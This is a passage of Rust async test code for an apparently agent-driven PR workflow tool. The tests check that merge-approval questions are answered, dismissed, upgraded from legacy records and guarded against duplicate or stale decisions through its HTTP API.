12661            task.status = if owner == "completed" {
12662                TaskStatus::Done
12663            } else {
12664                TaskStatus::Parked
12665            };
12666            if owner == "later" {
12667                task.runs.push("later-run".into());
12668            }
12669            if owner != "missing" {
12670                fx.queue().put(&mut task).unwrap();
12671            }
12672            let ui = Arc::new(Ui::new(
12673                fx.queue(),
12674                fx.questions(),
12675                fx.talks(),
12676                fx.runs(),
12677                fx.home.path().into(),
12678                state.repo.clone(),
12679            ));
12680            let response = question_answer(
12681                State(ui),
12682                Path(q.id.clone()),
12683                Ok(Json(NewAnswer {
12684                    choice: Some(crate::merge_decision::DISMISS.into()),
12685                    text: None,
12686                    ..Default::default()
12687                })),
12688            )
12689            .await
12690            .unwrap();
12691            assert_eq!(
12692                response.0.question.resolution().as_deref(),
12693                Some(crate::merge_decision::DISMISS)
12694            );
12695            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12696            assert_eq!(disk.status, RunStatus::Superseded);
12697            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12698            assert!(!crate::merge_decision::resumable_hold(&disk));
12699            assert_eq!(
12700                serde_json::to_value(&disk.pr).unwrap(),
12701                serde_json::to_value(&stale.pr).unwrap()
12702            );
12703            assert_eq!(fx.questions().count_open(), 0);
12704            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12705            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12706            if owner == "missing" {
12707                assert!(fx.queue().list().is_empty());
12708            } else {
12709                let after = fx.queue().get(&task.id).unwrap();
12710                assert_eq!(
12711                    after.status,
12712                    if owner == "current" {
12713                        TaskStatus::Done
12714                    } else {
12715                        task.status
12716                    }
12717                );
12718                assert_eq!(after.runs, task.runs);
12719                assert_eq!(after.instruction, task.instruction);
12720                assert_eq!(after.action_applied(&q.id), owner == "current");
12721            }
12722        }
12723    }
12724
12725    #[tokio::test]
12726    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12727        let fx = Fixture::start().await;
12728        let mut state = obsolete_approval_state();
12729        state.status = RunStatus::Landing;
12730        state.parked = true;
12731        state.driver_exited = true;
12732        let mut q = Question::new(
12733            state.id.clone(),
12734            crate::land::APPROVAL_NODE.into(),
12735            "land".into(),
12736            "Superseded PR approval".into(),
12737            "Original review evidence".into(),
12738            vec!["merge".into(), "hold".into()],
12739        );
12740        state.land_approval = Some(crate::run::LandApproval {
12741            question: q.id.clone(),
12742            head: "old-reviewed-head".into(),
12743        });
12744        // The old persisted PR may still say open even when a separate change
12745        // already landed. Dismissal must not use that snapshot to close it.
12746        state.save_under(fx.home.path()).unwrap();
12747        let stale_driver = state.clone();
12748        fx.questions().put(&mut q).unwrap();
12749        let path = fx
12750            .home
12751            .path()
12752            .join("questions")
12753            .join(format!("{}.json", q.id));
12754        let mut legacy = serde_json::to_value(&q).unwrap();
12755        legacy["schema"] = 9.into();
12756        legacy.as_object_mut().unwrap().remove("merge_target");
12757        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12758
12759        // POST without GET tests legacy upgrade and validation at the actual
12760        // entry point, rather than constructing a modern card in the test.
12761        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12762        let answer_path = format!("/api/questions/{}/answer", q.id);
12763        let res = fx.post(&answer_path, Some(&body)).await;
12764        assert_eq!(res.status, 200, "{}", res.body);
12765        let disk = fx.questions().get(&q.id).unwrap();
12766        assert_eq!(
12767            disk.resolution().as_deref(),
12768            Some(crate::merge_decision::DISMISS)
12769        );
12770        assert!(disk.detail.starts_with("Original review evidence"));
12771        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12772        assert_eq!(retired.status, RunStatus::Superseded);
12773        assert_eq!(
12774            serde_json::to_value(&retired.pr).unwrap(),
12775            serde_json::to_value(&state.pr).unwrap()
12776        );
12777        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12778        assert!(!crate::merge_decision::resumable_hold(&retired));
12779        assert!(fx.queue().list().is_empty());
12780        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12781        // A restarted server re-reads the persisted pending list.
12782        let addr = Fixture::serve(
12783            fx.home.path(),
12784            PathBuf::from("/repo/magi"),
12785            launch_idle,
12786            None,
12787        )
12788        .await;
12789        let reconnected = Fixture {
12790            home: fx.home,
12791            addr,
12792        };
12793        let listed = reconnected.get("/api/questions").await.json();
12794        assert!(
12795            listed
12796                .as_array()
12797                .unwrap()
12798                .iter()
12799                .all(|q| q["status"] != "open")
12800        );
12801        assert_eq!(listed[0]["id"], q.id, "history remains available");
12802        assert_eq!(
12803            reconnected.get("/api/health").await.json()["questions_open"],
12804            0
12805        );
12806        assert_eq!(
12807            reconnected
12808                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12809                .await
12810                .status,
12811            409
12812        );
12813        // A late waiter cannot turn the old answer into a new decision.
12814        assert!(
12815            reconnected
12816                .questions()
12817                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12818                .is_err()
12819        );
12820        // The same guard used by claims, repair and publication rejects a
12821        // saved in-memory driver as well as the persisted terminal record.
12822        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12823    }
12824
12825    #[tokio::test]
12826    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12827        let fx = Fixture::start().await;
12828        let mut state = obsolete_approval_state();
12829        state.status = RunStatus::Landing;
12830        state.driver_exited = true;
12831        let mut q = Question::new(
12832            state.id.clone(),
12833            crate::land::APPROVAL_NODE.into(),
12834            "land".into(),
12835            "Obsolete approval".into(),
12836            String::new(),
12837            vec!["merge".into(), "hold".into()],
12838        );
12839        state.land_approval = Some(crate::run::LandApproval {
12840            question: q.id.clone(),
12841            head: "head".into(),
12842        });
12843        state.save_under(fx.home.path()).unwrap();
12844        fx.questions().put(&mut q).unwrap();
12845        let mut task = Task::new(
12846            "Owner".into(),
12847            "Original instruction".into(),
12848            state.repo.clone(),
12849            Source::Human,
12850        );
12851        task.runs = vec![state.id.clone(), "later-run".into()];
12852        fx.queue().put(&mut task).unwrap();
12853        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12854        let claim = fx.queue().claim(&task.id).unwrap();
12855        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12856        let path = format!("/api/questions/{}/answer", q.id);
12857        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12858        assert!(fx.questions().get(&q.id).unwrap().status.open());
12859        drop(claim);
12860        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12861        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12862        assert!(fx.questions().get(&q.id).unwrap().status.open());
12863        drop(publication);
12864        // Unknown liveness and armed auto-merge both fail without settling.
12865        state.driver_exited = false;
12866        state.driver_pid = None;
12867        state.driver_claimed = None; // No durable proof of an unstarted execution.
12868        state.save_under(fx.home.path()).unwrap();
12869        assert_eq!(
12870            state.liveness_under(fx.home.path(), false),
12871            crate::run::Liveness::Unknown
12872        );
12873
12874        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12875        state.driver_exited = true;
12876        state.land_armed_head = Some("head".into());
12877        state.save_under(fx.home.path()).unwrap();
12878        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12879        state.land_armed_head = None;
12880        state.save_under(fx.home.path()).unwrap();
12881        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12882        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12883        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12884    }
12885
12886    #[tokio::test]
12887    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12888        let fx = Fixture::start().await;
12889        let mut state = obsolete_approval_state();
12890        state.status = RunStatus::Landing;
12891        state.driver_exited = true;
12892        let mut q = Question::new(
12893            state.id.clone(),
12894            crate::land::APPROVAL_NODE.into(),
12895            "land".into(),
12896            "Obsolete approval".into(),
12897            String::new(),
12898            vec!["merge".into(), "hold".into()],
12899        );
12900        state.land_approval = Some(crate::run::LandApproval {
12901            question: q.id.clone(),
12902            head: "head".into(),
12903        });
12904        state.save_under(fx.home.path()).unwrap();
12905        fx.questions().put(&mut q).unwrap();
12906        let mut task = Task::new(
12907            "Owner".into(),
12908            "Original instruction".into(),
12909            state.repo.clone(),
12910            Source::Human,
12911        );
12912        task.runs.push(state.id.clone());
12913        task.status = TaskStatus::Parked;
12914        fx.queue().put(&mut task).unwrap();
12915        // Model a crash after the run stop was persisted but before the queue
12916        // and answered question were flushed. Retrying must finish, not resume.
12917        state.merge_decision = Some(crate::merge_decision::Decision {
12918            question: q.id.clone(),
12919            target: crate::merge_decision::Target {
12920                pr: state.pr.as_ref().unwrap().url.clone(),
12921                head: "head".into(),
12922                language: "ja".into(),
12923            },
12924            choice: crate::merge_decision::DISMISS.into(),
12925            closed: false,
12926            replacement_run: None,
12927            replacement_pr: None,
12928        });
12929        state.status = RunStatus::Superseded;
12930        state.save_under(fx.home.path()).unwrap();
12931        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12932        let path = format!("/api/questions/{}/answer", q.id);
12933        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12934        let done = fx.queue().get(&task.id).unwrap();
12935        assert_eq!(done.status, TaskStatus::Done);
12936        assert_eq!(done.runs, task.runs);
12937        assert_eq!(done.instruction, task.instruction);
12938        assert!(done.action_applied(&q.id));
12939        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12940        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12941        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12942    }
12943
12944    #[tokio::test]
12945    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12946        let home = TempDir::new().unwrap();
12947        let ui = Arc::new(Ui::new(
12948            Queue::at(home.path().join("queue")),
12949            Questions::at(home.path().join("questions")),
12950            Talks::at(home.path().join("talks")),
12951            home.path().join("runs"),
12952            home.path().to_owned(),
12953            home.path().to_owned(),
12954        ));
12955        let talks = &ui.talks;
12956        let chat =
12957            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12958        let mut q = Question::new(
12959            "run".into(),
12960            crate::land::APPROVAL_NODE.into(),
12961            "land".into(),
12962            "Merge?".into(),
12963            String::new(),
12964            vec!["merge".into(), "hold".into()],
12965        );
12966        q.routed_task = Some("task".into());
12967        q.routed_chat = Some(chat.id.clone());
12968        q.merge_target = Some(crate::merge_decision::Target {
12969            pr: "https://example.test/pull/1".into(),
12970            head: "head-a".into(),
12971            language: "en".into(),
12972        });
12973        ui.questions.put(&mut q).unwrap();
12974        let send = |body| {
12975            question_answer(
12976                State(ui.clone()),
12977                Path(q.id.clone()),
12978                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12979            )
12980        };
12981        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12982        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12983        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12984        assert!(send(wrong_chat).await.is_err());
12985        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12986        assert!(send(stale).await.is_err());
12987        assert!(ui.questions.get(&q.id).unwrap().status.open());
12988        assert!(send(button.clone()).await.is_ok());
12989        assert_eq!(
12990            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12991            Some("merge")
12992        );
12993        assert!(send(button).await.is_err());
12994    }
12995
12996    #[tokio::test]
12997    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12998        let home = TempDir::new().unwrap();
12999        let ui = Arc::new(Ui::new(
13000            Queue::at(home.path().join("queue")),
13001            Questions::at(home.path().join("questions")),
13002            Talks::at(home.path().join("talks")),
13003            home.path().join("runs"),
13004            home.path().to_owned(),
13005            home.path().to_owned(),
13006        ));
13007        for choice in [crate::land::APPROVE, crate::land::HOLD] {
13008            let mut q = Question::new(
13009                "run".into(),
13010                crate::land::APPROVAL_NODE.into(),
13011                "land".into(),
13012                "Merge?".into(),
13013                String::new(),
13014                vec!["merge".into(), choice.into()],
13015            );
13016            q.routed_task = Some("task".into());
13017            q.merge_target = Some(crate::merge_decision::Target {
13018                pr: "https://example.test/pull/1".into(),
13019                head: "head-a".into(),
13020                language: "en".into(),
13021            });
13022            ui.questions.put(&mut q).unwrap();
13023            let answer = |c: &str| {
13024                question_answer(
13025                    State(ui.clone()),
13026                    Path(q.id.clone()),
13027                    Ok(Json(
13028                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13029                            .unwrap(),
13030                    )),
13031                )
13032            };
13033            let _ = answer(choice).await.unwrap();
13034            assert_eq!(
13035                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13036                Some(choice)
13037            );
13038        }
13039    }
13040
13041    #[tokio::test]
13042    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13043        let home = TempDir::new().unwrap();
13044        let ui = Arc::new(Ui::new(
13045            Queue::at(home.path().join("queue")),
13046            Questions::at(home.path().join("questions")),
13047            Talks::at(home.path().join("talks")),
13048            home.path().join("runs"),
13049            home.path().to_owned(),
13050            home.path().to_owned(),
13051        ));
13052        let mut q = Question::new(
13053            "run".into(),
13054            crate::github_text::ASK_NODE.into(),
13055            "posting-gate".into(),
13056            "Post?".into(),
13057            String::new(),
13058            vec!["use fallback".into()],
13059        );
13060        q.routed_task = Some("task".into());
13061        ui.questions.put(&mut q).unwrap();
13062        let sent = question_answer(
13063            State(ui.clone()),
13064            Path(q.id.clone()),
13065            Ok(Json(
13066                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13067                    .unwrap(),
13068            )),
13069        )
13070        .await;
13071        let _ = sent.unwrap();
13072        assert_eq!(
13073            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13074            Some("use fallback")
13075        );
13076    }
13077
13078    #[tokio::test]
13079    async fn merge_decision_api_persists_exact_target_and_selected_action() {
13080        let fx = Fixture {
13081            home: TempDir::new().unwrap(),
13082            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13083        };
13084        for choice in [
13085            crate::land::HOLD,
13086            crate::land::REPAIR,
13087            crate::land::APPROVE,
13088            crate::merge_decision::WITHDRAW,
13089            "reimplement:beta",
13090        ] {
13091            let mut q = Question::new(
13092                "old-run".into(),
13093                crate::land::APPROVAL_NODE.into(),
13094                "land".into(),
13095                "Decision".into(),
13096                "Review findings".into(),
13097                vec![
13098                    "merge".into(),
13099                    "hold".into(),
13100                    crate::land::REPAIR.into(),
13101                    crate::merge_decision::WITHDRAW.into(),
13102                    "reimplement:beta".into(),
13103                ],
13104            );
13105            q.merge_target = Some(crate::merge_decision::Target {
13106                pr: "https://github.com/example/repo/pull/42".into(),
13107                head: "exact-reviewed-head".into(),
13108                language: "ja".into(),
13109            });
13110            q.consult = Some(ask::ChatConsult {
13111                talk: "another-conversation".into(),
13112                at: jiff::Timestamp::now(),
13113            });
13114            fx.questions().put(&mut q).unwrap();
13115            let ui = Arc::new(Ui::new(
13116                fx.queue(),
13117                fx.questions(),
13118                fx.talks(),
13119                fx.runs(),
13120                fx.home.path().into(),
13121                std::path::PathBuf::from("."),
13122            ));
13123            let response = question_answer(
13124                State(ui.clone()),
13125                Path(q.id.clone()),
13126                Ok(Json(NewAnswer {
13127                    choice: Some(choice.into()),
13128                    text: None,
13129                    ..Default::default()
13130                })),
13131            )
13132            .await
13133            .unwrap();
13134            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13135            let disk = fx.questions().get(&q.id).unwrap();
13136            assert_eq!(disk.merge_target, q.merge_target);
13137            assert_eq!(disk.consult, q.consult);
13138            assert_eq!(disk.resolution().as_deref(), Some(choice));
13139            assert!(
13140                question_answer(
13141                    State(ui),
13142                    Path(q.id.clone()),
13143                    Ok(Json(NewAnswer {
13144                        choice: Some("merge".into()),
13145                        text: None,
13146                        ..Default::default()
13147                    }))
13148                )
13149                .await
13150                .is_err(),
13151                "an already settled decision cannot turn into merge approval"
13152            );
13153        }
13154    }
13155
13156    #[tokio::test]
13157    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13158        let fx = Fixture {
13159            home: TempDir::new().unwrap(),
13160            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13161        };
13162        let mut state = crate::land::tests::repair_state(true, true);
13163        state.status = RunStatus::Landing;
13164        state.parked = true;
13165        state.driver_exited = true;
13166        let mut task = Task::new(
13167            "Existing PR owner".into(),
13168            state.instruction.clone(),
13169            state.repo.clone(),
13170            Source::Human,
13171        );
13172        task.runs.push(state.id.clone());
13173        task.status = TaskStatus::Parked;
13174        fx.queue().put(&mut task).unwrap();
13175        let mut q = Question::new(
13176            state.id.clone(),
13177            crate::land::APPROVAL_NODE.into(),
13178            "land".into(),
13179            "Contested merge".into(),
13180            "Original evidence".into(),
13181            vec!["merge".into(), "hold".into()],
13182        );
13183        state.land_approval = Some(crate::run::LandApproval {
13184            question: q.id.clone(),
13185            head: "reviewed-head".into(),
13186        });
13187        state.save_under(fx.home.path()).unwrap();
13188        fx.questions().put(&mut q).unwrap();
13189        // A later repair answer on this old card supersedes this manual hold.
13190        task.hold_manual(Some("Pause this PR".into()));
13191        fx.queue().put(&mut task).unwrap();
13192        // POST directly, without a preceding GET: validation must see the
13193        // same durable upgrade that the card, CLI and chat see.
13194        let ui = Arc::new(Ui::new(
13195            fx.queue(),
13196            fx.questions(),
13197            fx.talks(),
13198            fx.runs(),
13199            fx.home.path().to_path_buf(),
13200            state.repo.clone(),
13201        ));
13202        let response = question_answer(
13203            State(ui),
13204            Path(q.id.clone()),
13205            Ok(Json(NewAnswer {
13206                choice: Some(crate::land::REPAIR.into()),
13207                text: None,
13208                ..Default::default()
13209            })),
13210        )
13211        .await
13212        .unwrap();
13213        assert_eq!(response.0.question.id, q.id);
13214        let upgraded = fx.questions().get(&q.id).unwrap();
13215        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13216        assert!(upgraded.detail.starts_with("Original evidence"));
13217        let claim = fx.queue().claim(&task.id).unwrap();
13218        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13219        assert!(
13220            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13221            "an existing driver keeps its claim"
13222        );
13223        drop(claim);
13224        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13225        let resumed = fx.queue().get(&task.id).unwrap();
13226        assert_eq!(
13227            resumed
13228                .resume_override
13229                .as_ref()
13230                .unwrap()
13231                .pinned_run
13232                .as_deref(),
13233            Some(state.id.as_str())
13234        );
13235        assert!(resumed.status.runnable());
13236        assert_eq!(resumed.instruction, task.instruction);
13237        assert_eq!(resumed.runs, task.runs);
13238        assert!(resumed.action_applied(&q.id));
13239        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13240        assert_eq!(fx.queue().list().len(), 1);
13241        assert_eq!(
13242            fx.queue().get(&task.id).unwrap().resume_override,
13243            resumed.resume_override
13244        );
13245        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13246        assert!(
13247            disk.merge_repairs.is_empty(),
13248            "only the claimed run driver may execute repair"
13249        );
13250        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13251    }
13252
13253    #[tokio::test]
13254    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13255        let fx = Fixture::start().await;
13256        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13257        let path = format!("/api/questions/{id}/answer");
13258
13259        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13260        assert_eq!(res.status, 200, "{}", res.body);
13261        let body = res.json();
13262        assert_eq!(body["status"], "answered");
13263        assert_eq!(body["answer"]["choice"], "Redis");
13264
13265        // Answered from the terminal in between the list and the tap: the UI
13266        // must be able to tell this from a bad request, so it can show the
13267        // recorded answer instead of an error.
13268        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13269        assert_eq!(again.status, 409, "{}", again.body);
13270        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13271    }
13272
13273    #[tokio::test]
13274    async fn fresh_api_answers_survive_task_inquiry_migration() {
13275        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13276        for migrate_first in [false, true] {
13277            let fx = Fixture::start().await;
13278            let mut task = Task::new(
13279                "work".into(),
13280                "work".into(),
13281                PathBuf::from("/repo/magi"),
13282                Source::Human,
13283            );
13284            task.runs.push("run-a".into());
13285            fx.queue().put(&mut task).unwrap();
13286            let mut q = Question::new(
13287                "run-a".into(),
13288                "implement".into(),
13289                "impl-A".into(),
13290                "Keep held?".into(),
13291                String::new(),
13292                vec!["hold".into()],
13293            );
13294            q.actions.insert("hold".into(), ChoiceAction::Hold);
13295            fx.questions().put(&mut q).unwrap();
13296            if migrate_first {
13297                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13298            }
13299            let response = fx
13300                .post(
13301                    &format!("/api/questions/{}/answer", q.id),
13302                    Some(r#"{"choice":"hold"}"#),
13303                )
13304                .await;
13305            assert_eq!(response.status, 200, "{}", response.body);
13306            for _ in 0..2 {
13307                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13308                let source = fx.questions().get(&q.id).unwrap();
13309                assert_eq!(source.resolution().as_deref(), Some("hold"));
13310                let decision = Outbox::at(fx.home.path())
13311                    .get(&q.id)
13312                    .unwrap()
13313                    .decision
13314                    .unwrap();
13315                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13316                assert_eq!(decision.source_answer_at, source.answered_at);
13317                assert_eq!(decision.status, Status::Queued);
13318            }
13319            assert_eq!(
13320                fx.post(
13321                    &format!("/api/questions/{}/answer", q.id),
13322                    Some(r#"{"choice":"hold"}"#)
13323                )
13324                .await
13325                .status,
13326                409
13327            );
13328        }
13329    }
13330
13331    #[tokio::test]
13332    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13333        let home = tempfile::tempdir().unwrap();
13334        let ui = delta_test_ui(home.path());
13335        let mut q = Question::new(
13336            "task".into(),
13337            crate::land::APPROVAL_NODE.into(),
13338            "land".into(),
13339            "Explain?".into(),
13340            String::new(),
13341            vec!["hold".into()],
13342        );
13343        q.deputy = Some(ask::Deputy::new("context".into()));
13344        ui.questions.put(&mut q).unwrap();
13345        let mut cfg = stub_config();
13346        cfg.daemon.max_deputies = 0;
13347        let mut status = crate::daemon::Status::new();
13348        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13349        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13350        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13351        let error = question_say(
13352            State(ui.clone()),
13353            Path(q.id.clone()),
13354            Ok(Json(NewSay {
13355                body: "Explain the findings".into(),
13356            })),
13357        )
13358        .await
13359        .unwrap_err();
13360        assert_eq!(
13361            error.text_reason,
13362            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13363        );
13364        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13365
13366        let mut text = Question::new(
13367            "task".into(),
13368            "ask".into(),
13369            "operator".into(),
13370            "Which name?".into(),
13371            String::new(),
13372            vec![],
13373        );
13374        ui.questions.put(&mut text).unwrap();
13375        let Json(view) = question_answer(
13376            State(ui.clone()),
13377            Path(text.id.clone()),
13378            Ok(Json(NewAnswer {
13379                choice: None,
13380                text: Some("chosen name".into()),
13381                ..Default::default()
13382            })),
13383        )
13384        .await
13385        .unwrap();
13386        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13387        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13388    }
13389
13390    #[tokio::test]
13391    async fn question_text_handler_admission_without_transport() {
13392        let home = tempfile::tempdir().unwrap();
13393        let ui = delta_test_ui(home.path());
13394        let mut q = Question::new(
13395            "task".into(),
13396            crate::land::APPROVAL_NODE.into(),
13397            "land".into(),
13398            "May this PR merge?".into(),
13399            String::new(),
13400            vec!["hold".into()],
13401        );
13402        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13403        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13404        ui.questions.put(&mut q).unwrap();
13405        let say = || {
13406            Ok(Json(NewSay {
13407                body: "Explain the findings".into(),
13408            }))
13409        };
13410        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13411            .await
13412            .unwrap_err();
13413        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13414        let response = rejected.into_response();
13415        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13416            .await
13417            .unwrap();
13418        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13419        assert_eq!(body["code"], "question_text_unavailable");
13420        assert_eq!(body["reason"], "deputy_exhausted");
13421        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13422        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13423        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13424        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13425            .await
13426            .unwrap();
13427        assert_eq!(view.text_delivery.state, "live");
13428        assert!(view.question.waiter.is_none());
13429        assert!(view.question.cwd.is_none());
13430        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13431        ui.questions.drop_lease(&q.id);
13432        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13433            .await
13434            .unwrap_err();
13435        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13436        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13437        let _ = question_answer(
13438            State(ui.clone()),
13439            Path(q.id.clone()),
13440            Ok(Json(NewAnswer {
13441                choice: Some("hold".into()),
13442                text: None,
13443                ..Default::default()
13444            })),
13445        )
13446        .await
13447        .unwrap();
13448        assert_eq!(
13449            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13450            Some("hold")
13451        );
13452    }
13453
13454    #[tokio::test]
13455    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13456        let fx = Fixture::start().await;
13457        let store = fx.questions();
13458        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13459        store
13460            .update(&id, |q| {
13461                q.node = crate::land::APPROVAL_NODE.to_owned();
13462                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13463                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13464                Ok(())
13465            })
13466            .unwrap();
13467        let path = format!("/api/questions/{id}/say");
13468        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13469        assert_eq!(refused.status, 422, "{}", refused.body);
13470        assert!(
13471            refused.json()["error"]
13472                .as_str()
13473                .unwrap()
13474                .contains("deputy_exhausted")
13475        );
13476        assert!(store.get(&id).unwrap().thread.is_empty());
13477
13478        // A final live deputy is usable even with no ordinary waiter/cwd.
13479        store.beat(&id, ask::WaiterKind::Deputy);
13480        let view = fx.get("/api/questions").await.json();
13481        assert_eq!(view[0]["text_delivery"]["state"], "live");
13482        let accepted = fx
13483            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13484            .await;
13485        assert_eq!(accepted.status, 200, "{}", accepted.body);
13486        let before = std::fs::read(store.path_of(&id)).unwrap();
13487
13488        // The recipient exits between rendering and sending. Rejection must
13489        // preserve previously accepted text, the answer and delivery cursor.
13490        store.drop_lease(&id);
13491        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13492        assert_eq!(refused.status, 422, "{}", refused.body);
13493        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13494        let held = fx
13495            .post(
13496                &format!("/api/questions/{id}/answer"),
13497                Some(r#"{"choice":"hold"}"#),
13498            )
13499            .await;
13500        assert_eq!(held.status, 200, "{}", held.body);
13501        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13502    }
13503
13504    #[tokio::test]
13505    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13506        let repo = tempfile::tempdir().unwrap();
13507        let mut cfg = stub_config();
13508        cfg.daemon.max_deputies = 0;
13509        std::fs::write(
13510            repo.path().join("magi.toml"),
13511            toml::to_string(&cfg).unwrap(),
13512        )
13513        .unwrap();
13514        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13515        let mut status = crate::daemon::Status::new();
13516        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13517        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13518        let id = ask(&fx, "Explain?", &["hold"]);
13519        fx.questions()
13520            .update(&id, |q| {
13521                q.node = crate::land::APPROVAL_NODE.into();
13522                q.deputy = Some(ask::Deputy::new("context".into()));
13523                q.deputy.as_mut().unwrap().agent = "stub".into();
13524                Ok(())
13525            })
13526            .unwrap();
13527        cfg.daemon.max_deputies = 1;
13528        std::fs::write(
13529            repo.path().join("magi.toml"),
13530            toml::to_string(&cfg).unwrap(),
13531        )
13532        .unwrap();
13533        let view = fx.get("/api/questions").await.json();
13534        assert_eq!(view[0]["deputies_enabled"], true);
13535        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13536        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13537        let res = fx
13538            .post(
13539                &format!("/api/questions/{id}/say"),
13540                Some(r#"{"body":"Please explain"}"#),
13541            )
13542            .await;
13543        assert_eq!(res.status, 422, "{}", res.body);
